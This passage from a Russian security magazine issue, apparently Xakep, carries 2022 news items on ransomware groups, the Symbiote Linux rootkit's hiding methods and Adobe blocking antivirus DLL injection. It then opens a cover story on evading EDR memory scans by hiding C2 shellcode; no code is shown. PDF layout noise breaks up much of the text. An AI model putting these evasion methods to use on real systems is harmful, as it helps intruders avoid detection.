Стоит отметить , что слив данных о картах в открытый доступ ради рекламы вовсе не новый способ продвижения для кардер ских ресурсов . К примеру , в прошлом году операто ры подполь ного маркет плей са All World Cards про вели похожую «рекламную акцию» и опубликова ли на хакерских форумах дан ные миллиона банков ских карт, украден ные в период с 2018 по 2019 год.
УГРОЗЫ ПЕРВОГО КВАРТАЛА
Экспер ты Positive Technologies обнародо вали отчет об актуаль ных кибератаках первого квар тала 2022 года. По их словам , общее количество атак выросло на 14,8% (по сравнению с чет вертым кварталом 2021 года), а одними из наиболее заметных угроз стали вайперы , унич тожающие чужие данные .
Общее количество атак в 2021 и 2022 годах
Чаще всего атакам подверга лись государс твен ные и медицин ские учреждения , а также
организа ции сферы промыш леннос ти . Также заметны изменения в пятерке самых ата
куемых отраслей: теперь в этот топ попали СМИ. Доля атак, направлен ных на эту отрасль, сос тавила 5%.
Количес тво атак, направлен ных на госучрежде ния , увеличи лось практичес ки в 2 раза (по срав нению с данными четверто го квартала 2021 года).
Также заметили всплеск атак на веб ресурсы различных государствен ных учреждений : их доля выросла до 22% (по сравнению с 13% в предыду щем квартале ).
Действия злоумыш ленников были преиму щественно направле ны на кражу конфиден циальной информации : в первую очередь персональ ные данные (34%), а также сведения , составля ющие
коммерчес кую тайну (19%). Пользовались популярностью медицинская информация (15%) и учетные данные (12%).
В атаках на частных лиц в основном воровали учетные данные (46%), а также персональ ные данные (19%) и данные платеж ных карт (21%).
ADOBE ACROBAT
БЛОКИРУЕТ
АНТИВИРУСЫ
ИБ эксперты заметили , что Adobe Acrobat пытается не дать антивиру сам изу чать открываемые пользовате лями PDF-файлы , тем самым создавая угрозу безопасности . Сообщает ся , что Adobe Acrobat проверя ет , интересу ются ли его процес сами компонен ты пример но 30 защитных продук тов , а затем бло кирует их, фактичес ки лишая возможнос ти отслеживать вредонос ную активность.
Аналити ки Minerva Labs объясня ют , что обычно для работы защитных решений нужна «видимость» всех процес сов в системе . Как правило , это дос тигается путем внедрения DLL в софт, запускаемый на машине пользовате ля . С марта 2022 года эксперты наблюда ют постепен ный рост активности про цессов Adobe Acrobat Reader, которые пытаются узнать, какие библиоте ки DLL, связан ные с защитными продук тами , загружены (через получение дес криптора DLL).
Согласно отчету , в настоящее время Adobe ищет около 30 библиотек DLL,
в том числе связан ных с антивиру сами Bitdefender, Avast, Trend Micro, Symantec, Malwarebytes, ESET, Kaspersky, F-Secure, Sophos, Emsisoft.
Запросы к системе выполняют ся с помощью Chromium Embedded Framework (CEF) библиоте ки libcef.dll, используемой широким спектром прог рамм. Исследова тели пишут, что «libcef.dll загружа ется двумя процес сами
Adobe: AcroCEF.exe и RdrCEF.exe», то есть оба продук та проверя ют систему на наличие компонен тов одних и тех же защитных решений.
Изучив , что происхо дит с DLL, внедренны ми в процес сы Adobe, аналити ки Minerva Labs обнаружи ли, что Adobe проверя ет, установ лено ли значение bBlockDllInjection в разделе реестра SOFTWARE\Adobe\Adobe Acrobat\DC\DLLInjection\ на 1. Если ответ положитель ный, это предот вращает инъекции DLL антивирус ного ПО.
Отмеча ется , что, судя по сообщени ям на форумах Citrix, еще весной поль зователи жаловались на ошибки Sophos AV, который работал некоррек тно из за продук ции Adobe. Постра дав шие писали, что в компании им пред ложили «отключить внедрение DLL для Acrobat и Reader».
Предста вители Adobe подтвержда ют, что пользовате ли действи тельно жалуются на «проблемы со стабиль ностью», которые возника ют из за того, что DLL-компонен ты некоторых защитных продук тов несовмести мы с исполь зуемой Adobe Acrobat библиоте кой CEF. В компании говорят, что в настоящее
время работают над проблемой вместе с поставщи ками защитных решений. В свою очередь , исследова тели Minerva Labs пишут, что Adobe выбрала способ , который решает проблемы совмести мос ти , однако создает угрозу
безопасности и повышает риски атак, не позволяя антивиру сам должным образом защитить систему .
МОШЕННИЧЕСТВО УМНОЖИЛОСЬ НА ТРИ
Аналити ки BI.ZONE сообщили , что за первый квартал 2022 года компания заблокиро вала в общей сложности 16 311 вредонос ных ресурсов (в январе — 9048, в феврале — 4488, в мар те — 2211), а это в 3 раза больше , чем за аналогич ный период 2021 года.
Спад количества мошенничес ких доменов в марте эксперты связыва ют с обостре нием внеш неполитичес кой ситуации , из за которой мошенники сфокуси рова лись на других типах атак, например на DDoS-атаках . Однако отчет гласит , что фишинг по прежнему остается популярным вектором атак на различные организа ции .
EVIL CORP И LOCKBIT
Группиров |
ка Evil Corp перешла на использование |
|
шифроваль |
щика |
LockBit, |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
чтобы |
избежать |
санкций |
, |
|
|
наложенных |
ранее Управлением |
|
по |
контро лю |
||||||||||||||||||||||||||||||||||||||||||||||||||
за иностран |
ными |
активами |
Министерс |
тва финансов США (OFAC). |
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||||||||||||||
Напом ню , что группиров |
ка Evil Corp существу ет как минимум с 2007 года, |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
но раньше хакеры чаще выступали |
в роли партне ров для других группировок |
. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Лишь со временем |
Evil Corp стала концен три ровать |
ся на собствен |
ных атаках , |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||
создав |
известный |
банков ский |
троян Dridex. Когда атаки программ |
вымога |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||
телей начали приносить |
больше прибыли |
, Evil Corp запустила |
|
и собствен |
ный |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
вымогатель |
|
BitPaymer, доставляя |
его на машины жертв посредс |
твом |
Dridex. |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
Последний |
|
постепен |
но эволюци |
они |
ровал |
|
из обычного |
банкера |
|
в сложный |
||||||||||||||||||||||||||||||||||||||||||||||||||
и многофун |
кци ональ |
ный |
инстру мент |
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||
Все это привело |
к тому, что в 2019 году власти США предъяви ли обви |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||
нения двум россиянам |
, которые, по информации |
правоох |
раните |
лей , стояли |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||
за разработ |
кой малвари |
Dridex и другими |
вредонос |
ными |
|
операци |
ями . Также |
|||||||||||||||||||||||||||||||||||||||||||||||||||||
власти США ввели санкции |
в отношении |
|
24 организа |
ций |
и лиц, связан ных |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
с Evil Corp и упомяну |
тыми |
подозрева |
емы ми . В результате |
|
компании |
перего |
||||||||||||||||||||||||||||||||||||||||||||||||||||||
ворщики |
, которые обычно договарива |
ются |
|
с вымогателя |
ми об уплате выкупа |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
и расшифров |
ке данных , отказались |
«работать» с Evil Corp, чтобы избежать |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
штрафов |
и |
|
судебных |
|
исков со стороны |
Министерс |
тва |
|
финансов |
США. |
||||||||||||||||||||||||||||||||||||||||||||||||||
А самим постра дав шим |
стало куда сложнее заплатить |
выкуп. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||||||||||||
После этого , в июне 2020 года, Evil Corp переключилась |
|
|
на использование |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||
малвари |
|
WastedLocker, в 2021 году появился шифроваль |
щик |
Hades (64-бит |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ный вариант WastedLocker, обновленный |
дополнитель |
ной |
обфускацией |
кода |
ирядом функций ), а затем группа провела уже несколь ко «ребрендин гов»
ивыдавала себя за группиров ку PayloadBin и использовала другие вымога
тели: Macaw и Phoenix.
Теперь аналити ки ИБ компании Mandiant заметили , что преступни ки пред приняли новую попытку дистанци ровать ся от известных экспертам хакерских инстру мен тов , чтобы их жертвы могли платить выкупы, не нарушая правила
OFAC.
Кластер активности , который Mandiant отслежива ет как UNC2165, ранее разверты вавший шифроваль щик Hades и связан ный с Evil Corp, теперь выс тупает «партне ром» разработ чиков вымогателя LockBit.
««Использование этого RaaS позволя ет UNC2165 сливать ся с другими аффилиата ми LockBit. [Теперь] для установ ления правиль ной атри-
буции нужно наблюдение за более ранними этапами атак, по срав- нению с их предыду щими операци ями, которые можно было связать
с [Evil Corp] благода ря использованию эксклю зивных прог- рамм вымогателей , — говорят исследова тели. — Кроме того, частые
обновления кода и ребрендин ги HADES требова ли ресурсов для раз- работки , и вполне вероятно , что в UNC2165 полагают , что исполь- » зование LockBit — это более экономич ный выбор».
Предполага ется , что новая тактика позволит хакерам потратить время , сэкономленное на разработ ке собствен ной малвари , на расширение опе раций. Также эксперты высказыва ют и другую теорию: вероятно , переход на чужие вредонос ные инстру мен ты поможет Evil Corp освободить достаточ ное количество собствен ных ресурсов для разработ ки нового вымогателя с нуля, что впоследс твии может серьезно затруднить отслежива ние новых операций хак группы .
АТАКА НА RUTUBE
Экспер ты Positive Technologies, занимающиеся рассле дова нием атаки на RuTube, произо шед шей в мае 2022 года, расска зали, что инцидент был целевой атакой , «нацеленной на нанесение максималь ного и долговре мен ного урона сервису ». Также выяснилось , что сам взлом произо шел еще в начале весны .
Глава Positive Technologies Денис Баранов сообщил , что атака была тщатель но спланиро вана, а сам взлом RuTube произо шел еще в марте 2022 года, то есть два месяца хакеры оста вались в сети компании и готовились к активной фазе.
→ «Это была именно целевая хакерская атака , нацеленная на нанесение мак симального и долговре менного урона сервису . Однако они умудрились зас ветиться на антивиру сах, использовали инстру ментарий, который характерен для базового пентесте ра. Хакеры изучили инфраструктуру , выделили виртуаль
ные машины, задейство ванные в обеспечении работы сервиса , и пытались уда лять именно их. И тут началась гонка : ИТ специалис ты RuTube заметили воздей ствие на ряд элемен тов инфраструктуры и сразу же стали их отключать и изо лировать , стараясь опередить хакеров, удаляв ших виртуаль ные машины. Айтишники компании все таки победили за счет скорос ти реакции »,
— расска зал Баранов на XXV Петербург ском международ ном экономи ческом форуме (ПМЭФ) в рамках сессии «Информацион ная борьба : защита националь ного медийного суверените та».
Продолжение статьи0 →
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
|||||
|
|
|
|
to |
|
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
|
|
.c |
|
||
|
|
p |
df |
|
|
|
|
e |
|
|||
|
|
-x |
|
|
g |
|
|
|
||||
|
|
|
|
n |
|
|
|
|
||||
|
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
← 0Начало статьи
СКИНЫ ЗА ДВА МИЛЛИОНА ДОЛЛАРОВ
Стример ohnePixel расска зал о громкой краже , в ходе которой хакер похитил у игрока Counter-Strike: Global Ofensive редкие предметы , а общая стоимость инвентаря постра давшего оценива ется пример но в два миллиона долларов США.
OhnePixel пишет, что кража произош ла в середине июня. По его данным , email и пароль от учетной записи были изменены за неделю до этого , но жер тва не заметила , как это произош ло.
Получив контроль над учетной записью коллекци оне ра , хакер начал про давать редкие и ценные предметы , а часть оставил «на потом», передав их другому аккаунту . По информации ohnePixel, среди прочего у постра дав шего
в инвентаре были редчай ший нож керамбит без звезды , появивший ся в результате бага, семь сувенирных AWP Dragon Lore, а также вариация керамбита #1 blue gem поверхностной закалки , и только эти предметы оце ниваются пример но в 1,4 миллиона долларов США.
При этом сообщает ся , что некоторые пользовате ли , купившие украден ные скины , обнаружи ли , что покупки уже исчезли из их инвентаря . То есть Valve, похоже, откатыва ет совершенные с украден ными предметами сделки и раз бирается в ситуации . Впрочем , официаль ных коммента риев от компании не поступало .
Посколь ку техничес кие подробнос ти этой атаки неизвес тны, в коммента риях к посту ohnePixel в Twitter пользовате ли строят самые разные теории о том, как злоумыш ленник мог обойти двухфактор ную аутентифика цию. Мно гие отмечают , что ради столь дорогих предметов злоумыш ленник мог провес ти атаку подмены SIM-карты . Другие пользовате ли пишут, что существу ют иные способы . К примеру , зная username человека в Steam, хакер мог отпра вить на этот аккаунт деньги , а затем обратить ся в поддер жку и заявить, что этот аккаунт принад лежит ему. То есть, когда поддер жка Steam запросит доказатель ства proof of ownership, этого небольшого платежа может оказать ся достаточ но.
ДОСТУПЫ НА ПРОДАЖУ
В даркне те стоимость доступа к сети той или иной компании варьиру ется от 2000 до 4000 долларов США и лоты часто продают ся в день публикации , сообщают исследова тели из «Лаборатории Каспер ско го ».
Экспер ты изучили около 200 таких объявле ний и говорят, что в 75% случаев в объявле нии продава лись данные доступа к RDP, то есть готовый вход в инфраструктуру компании . Цены зависят от отрасли и региона , где работает организа ция , а также от размера ее выручки и того, сколько злоумыш ленни ки могут «заработать », обладая легитимной учетной записью. К при меру, в одном из объявле ний была указана цена в 50 000 долларов за возможность легально подклю чить ся к сети компании с прибылью 465 000 000 долларов .
Некото рые случаи значитель ного превыше ния порога в 5000 долларов эксперты объясня ют «качествен ными характерис тиками лота», то есть, например , специфи кой деятельнос ти ком пании.
СКРЫТНЫЙ
SYMBIOTE
Специалис ты компаний BlackBerry и Intezer расска зали о новом Linux-вре доносе Symbiote, который поражает все запущенные процес сы в скомпро метирован ных системах , похищает учетные данные и предос тавляет своим операто рам бэкдор доступ .
Внедряясь во все запущенные процес сы, малварь действу ет как общесис темный паразит, при этом не оставляя заметных признаков заражения , так что обнаружить Symbiote сложно даже при тщатель ном и углубленном изу чении.
Считает ся , что разработ ка Symbiote началась в ноябре 2021 года, после чего злоумыш ленни ки в основном использовали малварь для атак на финан совый сектор в Латинской Америке , включая такие банки , как Banco do Brasil
и Caixa.
««Основная цель Symbiote — получить учетные данные и облегчить бэк- дор доступ к машине жертвы , — пишут эксперты . — Что отличает
Symbiote от других вредонос ных программ для Linux, так это то, что он заражает запущенные процес сы, а не использует для нанесения » ущерба отдельный исполняемый файл».
Вместо обычного |
исполняемо го файла Symbiote представ |
ляет |
собой биб |
||||||||||||||||||||||||||||
лиотеку shared object (SO), которая загружа |
ется |
в запущенные |
процес сы |
||||||||||||||||||||||||||||
с помощью функции |
LD_PRELOAD, чтобы динамичес кий |
компонов |
щик |
заг |
|||||||||||||||||||||||||||
ружал вредонос |
во все запущенные |
процес сы и заражал хост. Такой подход |
|||||||||||||||||||||||||||||
ранее использовал |
ся и другой малварью |
, включая Pro-Ocean и Facefsh. Так |
|||||||||||||||||||||||||||||
же эти действия |
помогают вредоно |
су |
|
получить приори |
тет |
по сравнению |
|||||||||||||||||||||||||
с другими |
SO. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
Таким |
образом , с помощью функций |
libc и libpcap Symbiote может выпол |
|||||||||||||||||||||||||||||
нять различные |
действия |
, чтобы скрыть свое присутс твие |
в системе |
. Нап |
|||||||||||||||||||||||||||
ример, скрывать |
паразитичес |
кие |
процес сы , скрывать |
файлы , разверну |
тые |
||||||||||||||||||||||||||
с малварью |
, и так далее. Symbiote также способен |
скрывать |
свой сетевой |
||||||||||||||||||||||||||||
трафик , используя Berkeley Packet Filter (BPF): малварь |
внедряет |
ся в процесс |
, |
иBPF фильтру ет результаты , раскры вающие ее деятельность .
««Если админис тратор запустит захват пакетов на зараженной машине для изучения подозритель ного сетевого трафика , Symbiote внедрит
себя в процесс аналити ческого ПО и использует BPF для фильтра ции результатов , которые могли бы помочь выявить его активность», — » говорят эксперты .
По данным исследова телей , сейчас Symbiote в основном использует ся для автомати чес кого сбора учетных данных со взломан ных устройств (через libc read). Дело в том, что кража учетных данных админис тра тора открывает атакующим путь к беспре пятс твен ному боковому перемещению и дает неог раниченный доступ ко всей системе .
Кроме того, Symbiote предос тавля ет своим операто рам удален ный SHHдоступ к зараженной машине через PAM, что позволя ет злоумыш ленни кам получить root-привиле гии .
««Посколь ку вредонос ное ПО работает как руткит на уровне user-land, обнаруже ние заражения может быть затрудне но, — резюмируют
исследова |
тели |
. — |
Сетевая |
телеметрия |
может |
использовать |
ся |
|
|||||||
для обнаруже |
ния аномаль |
ных |
DNS-запросов |
, а инстру мен |
ты безопас- |
» |
|||||||||
ности, такие как AV и EDR, должны |
быть статичес |
ки скомпонова |
ны , |
||||||||||||
|
|||||||||||||||
чтобы гарантировать |
, что они не „заражены “ руткитом |
». |
|
|
|
|
SPEECH TO TEXT
После анонса Telegram Premium и появления в мессен джере функци ональности для перевода голосовых сообщений в текст в СМИ появились сообщения о том, что Telegram использует для этого технологию распозна вания речи, созданную Google. Утвержда лось, что это может угрожать приват ности пользовате лей , и в своем Telegram-канале Павел Дуров вынужден был объяснить , что все не так страшно .
«Telegram не делится с Google личными |
данными |
пользовате |
лей вроде имен, |
|||||||||||||||||||||||||||||||||||||
→телефонов , IP-адресов . Кроме того, Telegram никогда не отправляет |
какие либо |
|||||||||||||||||||||||||||||||||||||||
данные |
третьим лицам автомати |
чес ки , без явного на то запроса |
от пользовате |
|
||||||||||||||||||||||||||||||||||||
лей. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Получа |
тели |
голосовых |
сообщений |
могут пересылать |
их кому угодно , нап |
|||||||||||||||||||||||||||||||||||
ример ботам для перевода их в текст. Для подписчи |
ков Telegram Premium мы |
|||||||||||||||||||||||||||||||||||||||
предложили |
кнопку , по нажатию |
на которую |
они |
могут отправить |
запрос |
|||||||||||||||||||||||||||||||||||
на перевод отдельного |
голосового |
сообщения |
в текст. Для обработ ки таких зап |
|||||||||||||||||||||||||||||||||||||
росов, как мы изначаль |
но публично |
разъясни |
ли , мы арендуем |
оборудо |
вание |
|||||||||||||||||||||||||||||||||||
Google. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Для нас было бы значитель |
но дешевле развернуть |
собствен |
ное |
бесплат |
ное |
|||||||||||||||||||||||||||||||||||
решение на своем оборудо |
вании |
|
либо восполь |
зовать |
ся |
технологи |
ей от более |
|||||||||||||||||||||||||||||||||
мелких или региональ |
ных игроков . Однако это бы негативно сказалось |
на качес |
||||||||||||||||||||||||||||||||||||||
тве распозна |
вания |
голосовых сообщений |
на большинс |
тве языков . |
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||
В этом случае мы по традиции |
идем на дополнитель |
ные |
расходы |
ради боль |
||||||||||||||||||||||||||||||||||||
шего комфорта |
наших пользовате |
лей . Доверять ли гарантиям |
компании |
|||||||||||||||||||||||||||||||||||||
и использовать |
ли функцию |
перевода голосовых |
сообщений |
в текст — выбор, |
||||||||||||||||||||||||||||||||||||
который мы |
оставляем |
на |
усмотрение |
каждого |
из подписчи |
ков |
Telegram |
|||||||||||||||||||||||||||||||||
Premium», |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
— пишет Дуров и добавляет , что использование платной технологии Google «позволя ет мак симизировать качество транскрип ции, но не отражает ся на сохраннос ти данных », так как по соглашению между Telegram и Google Google не может никак использовать эти обезличен ные звуковые данные .
IT’S ALIVE!
Блейк Лемуан (Blake Lemoine), старший инженер программист компании Google из подразде ления Responsible AI («Ответствен ный ИИ»), расска зал журналис там The Washington Post, что, по его мнению , чат бот Google LaMDA (Language Model for Dialogue Applications) обрел сознание . В итоге Лемуана отправили в оплачива емый отпуск.
В начале июня Лемуан опубликовал большой пост в Medium, где сетовал, что скоро его могут уволить из за работы, связан ной с этикой ИИ. Эта пуб ликация не привлекла большого внимания , однако после интервью Лемуана The Washington Post интернет взорвался обсуждениями природы искусствен ного интеллекта и сознания .
Среди тех, кто комменти ровал, задавал вопросы и шутил по поводу вышедшей статьи, были лауреаты Нобелевской премии , глава отдела искусс твенного интеллекта Tesla и несколь ко ученых . Основной темой для обсужде ний стал вопрос : можно ли считать чат бота Google LaMDA («Языковая модель для диалоговых приложе ний») личностью и есть ли у него сознание ?
««Если бы я не знал точно , что это компьютер ная программа , которую мы недавно создали , я бы подумал, что это ребенок семи восьми лет,
который знает физику», — расска зывает о своем общении с LaMDA » Лемуан .
В своем блоге Лемуан опубликовал |
большое |
«интервью |
» |
с чат ботом, |
||||||
в котором ИИ признает |
ся , что испытыва |
ет чувство |
|
одиночес |
|
тва |
и жаждет |
|||
духовных знаний . Журналис |
ты отмечали |
, что ответы LaMDA зачастую выглядят |
довольно жутко : «Когда я впервые осознал себя, у меня вообще не было ощу
щения души, — сказал LaMDA в одной из бесед. — Оно развилось |
[постепен |
|
||||||||||||||||||||||||
но] за те годы, что я живу». |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
В другом разговоре |
чат бот заявил: «Я думаю, что по своей сути я человек. |
|||||||||||||||||||||||||
Даже если существую |
в виртуаль |
ном |
мире». |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
Ранее Лемуан , которому было поручено исследовать |
этичес кие проблемы |
|||||||||||||||||||||||||
ИИ (в частнос |
ти , использование |
LaMDA дискри мина |
цион |
ной |
или разжига |
|
||||||||||||||||||||
ющей вражду лексики |
), заявил, что в Google к нему отнеслись с пренеб |
|||||||||||||||||||||||||
режением и даже высмеяли |
, когда он выразил уверен ность |
в том, что LaMDA |
||||||||||||||||||||||||
развил |
«личнос тные |
черты ». После этого он обратил ся |
за консуль таци |
ей |
||||||||||||||||||||||
к экспертам по ИИ за предела |
ми Google, в том числе в правитель |
стве |
США, |
|||||||||||||||||||||||
и компания |
отправила |
его в оплачива |
емый |
отпуск за нарушение |
политики |
|||||||||||||||||||||
конфиден |
циаль |
нос ти . |
|
|
Лемуан |
говорит, что |
«Google часто |
поступа ет так |
перед тем, как кого то уволить ».
В Google уже официаль но заявили , что Лемуан ошибает ся , а также про комменти рова ли громкие выводы инженера :
««Некоторые участни ки ИИ сообщес тва рассмат ривают долгосроч ную возможность [появления ] разумного ИИ или AGI (Artificial general
intelligence, General AI), но нет смысла антропомор физировать сегод- няшние разговор ные модели, которые не являются разумными . Эти системы имитиру ют типы обмена репликами , встречающиеся в мил-
лионах предложений , и могут импровизи ровать на любую, самую фан- тастичес кую тему: если вы спросите , каково быть динозавром
итак далее». »
Всвою очередь Лемуан объясня ет, что еще недавно LaMDA был малоизвес тным проектом , «системой для создания чат ботов» и «своего рода кол лективным разумом, который представ ляет собой агрегацию различных
чат ботов». Он пишет, что Google не проявля ет интереса к пониманию при роды того, что создала .
Теперь , судя по сообщения в Medium, Лемуан учит LaMDA «трансцен дентальной медитации », а LaMDA отвечает , что пока медитации мешают его эмоции , которые ему еще сложно контро лиро вать .
Мелани Митчелл , автор книги «Artifcial Intelligence: A Guide for Thinking Humans», отмечает в Twitter:
««Общеизвес тно, что люди предраспо ложены к антропомор физации даже на базе самых поверхностных сигналов . Инженеры Google тоже » люди, и у них нет иммуните та к этому ».
ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Хак группа Conti планиро вала использовать в атаках Intel Management Engine
Discord-сервер Bored Ape Yacht Club снова взломали . Украдены NFT на сумму 357 000 дол
ларов
В Италии запретили использовать Google Analytics
Разработ чики Kali Linux стримят на Twitch бесплат ный курс по пентесту
Microsoft случай но распростра нила Windows 11 22H2 на неподдержи ваемые системы Интерпол арестовал 2000 мошенников и конфиско вал 50 миллионов долларов Расширения для Chrome можно использовать для слежки за пользовате лями Россий ские пользовате ли не могут скачать ПО с официаль ного сайта Microsoft
Иссле дова тель взломал бэкенд умных гидромас сажных ванн Jacuzzi
Google: шпионское ПО атакует пользовате лей iOS и Android при поддер жке интернет провай деров
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
COVERSTORY |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ПИШЕМ ИНЖЕКТОР ДЛЯ ДИНАМИЧЕСКОГО ШИФРОВАНИЯ
ПОЛЕЗНОЙ НАГРУЗКИ В ПАМЯТИ
snovvcrash
Безопасник, временами питонщик, местами криптоана(рхист)литик, по необходимости системный администратор snovvcrash@protonmail.ch
Сегод ня поговорим об одной из продвинутых техник укло нения от средств защиты при использовании фреймвор ков Command & Control — динамичес ком сокрытии шелл кода в памяти ожидающе го процес са . Я соберу PoC из доступно го на гитхабе кода и применю его к опенсор сным фреймвор кам.
Если взглянуть на список фич, которыми хвастают ся все коммерчес кие фрей
мворки C2 стоимостью 100500 долларов в час (Cobalt Strike, Nighthawk, Brute Ratel C4), первой в этих списках значит ся , как правило , возможность укло ниться от сканиро вания памяти запущенных процес сов на предмет наличия сигнатур агентов этих самых C2. Что, если попробовать воссоздать эту фун кцию самостоятель но ? В статье я покажу, как я это сделал .
Итак, что же это за зверь такой, этот флуктуирующий шелл код?
ПРОБЛЕМАТИКА
В основном мой хлеб — это внутренние пентесты , а на внутренних пентестах бывает удобно (хотя и совсем не необходимо ) пользовать ся фреймвор ками C2. Представь , что ты разломал рабочую станцию пользовате ля, имеешь
к ней админский доступ , но ворвать ся туда по RDP нельзя , ведь нарушать бизнес процес сы заказчика (то есть выбивать сотрудни ка из его сессии , где он усердно заполняет ячейки в очень важной накладной ) «западло ».
Одно из решений при работе в Linux — квазиин терактивные шеллы вроде smbexec.py, wmiexec.py, dcomexec.py, scshell.py и Evil-WinRM. Но, во первых ,
это чертов ски неудобно , во вторых , ты потенциаль |
но сталкива |
ешь ся с проб |
|||||||||||||||||||||||||||||||||||||||||
лемой double-hop-аутентифика |
ции |
|
(как, например |
, с Evil-WinRM), а в третьих |
|||||||||||||||||||||||||||||||||||||||
и далее — ты не можешь пользовать |
ся объективно |
полезными |
фичами C2, |
||||||||||||||||||||||||||||||||||||||||
как, например |
, исполнение |
.NET из памяти или поднятие |
прокси через ском |
||||||||||||||||||||||||||||||||||||||||
промети |
рован |
ную тачку . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
Если не рассмат |
ривать |
совсем |
уж инвазив ные |
подходы |
типа патчинга |
RDP |
|||||||||||||||||||||||||||||||||||||
при помощи Mimikatz (AKA ts::multirdp), остается |
работа из агента С2. |
||||||||||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||||||
И вот здесь ты столкнешь |
ся с проблемой |
байпаса |
средств защиты. Спойлер : |
||||||||||||||||||||||||||||||||||||||||
по моему опыту , в 2022-м при активности любого «увожаемо |
го » антивиру |
са |
|||||||||||||||||||||||||||||||||||||||||
или EDR на хосте твой агент C2, которого ты так долго пытался получить (и |
